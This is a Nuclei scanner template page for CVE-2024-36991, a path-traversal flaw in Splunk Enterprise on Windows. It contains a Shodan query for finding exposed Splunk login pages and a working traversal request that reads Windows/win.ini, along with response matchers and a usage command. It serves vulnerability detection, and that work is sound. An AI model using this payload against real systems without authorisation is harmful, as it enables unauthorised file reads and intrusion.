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Splunk Enterprise - Local File Inclusion

ID: CVE-2024-36991

Severity: high

Author: DhiyaneshDK

Tags: cve,cve2024,splunk,lfi

In Splunk Enterprise on Windows versions below 9.2.2, 9.1.5, and 9.0.10, an attacker could perform a path traversal on the /modules/messaging/ endpoint in Splunk Enterprise on Windows. This vulnerability should only affect Splunk Enterprise on Windows.

id: CVE-2024-36991
info:
name: Splunk Enterprise - Local File Inclusion
author: DhiyaneshDK
severity: high
description: |
In Splunk Enterprise on Windows versions below 9.2.2, 9.1.5, and 9.0.10, an attacker could perform a path traversal on the /modules/messaging/ endpoint in Splunk Enterprise on Windows. This vulnerability should only affect Splunk Enterprise on Windows.
reference:
- https://x.com/sheikhrishad0/status/1809210005125746880/photo/1
- https://x.com/chybeta/status/1809249794122215557/photo/1
- https://nvd.nist.gov/vuln/detail/CVE-2024-36991
metadata:
verified: true
max-request: 1
shodan-query: html:"Login | Splunk"
tags: cve,cve2024,splunk,lfi
flow: http(1) && http(2)
http:
- raw:
- |
GET /en-US/login HTTP/1.1
Host: {{Hostname}}
host-redirects: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "Splunk Inc.")'
condition: and
internal: true
- raw:
- |
GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
# digest: 4a0a00473045022100dffeb5d4fcf08f2e61a59607173a061d9ceb7ad7c54957e39dae3f47256694af022066e8c7e74b978526a1771705ab6d3bb9d5c565bbfd1dbe4a44d6b716041100ed:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-36991.yaml"

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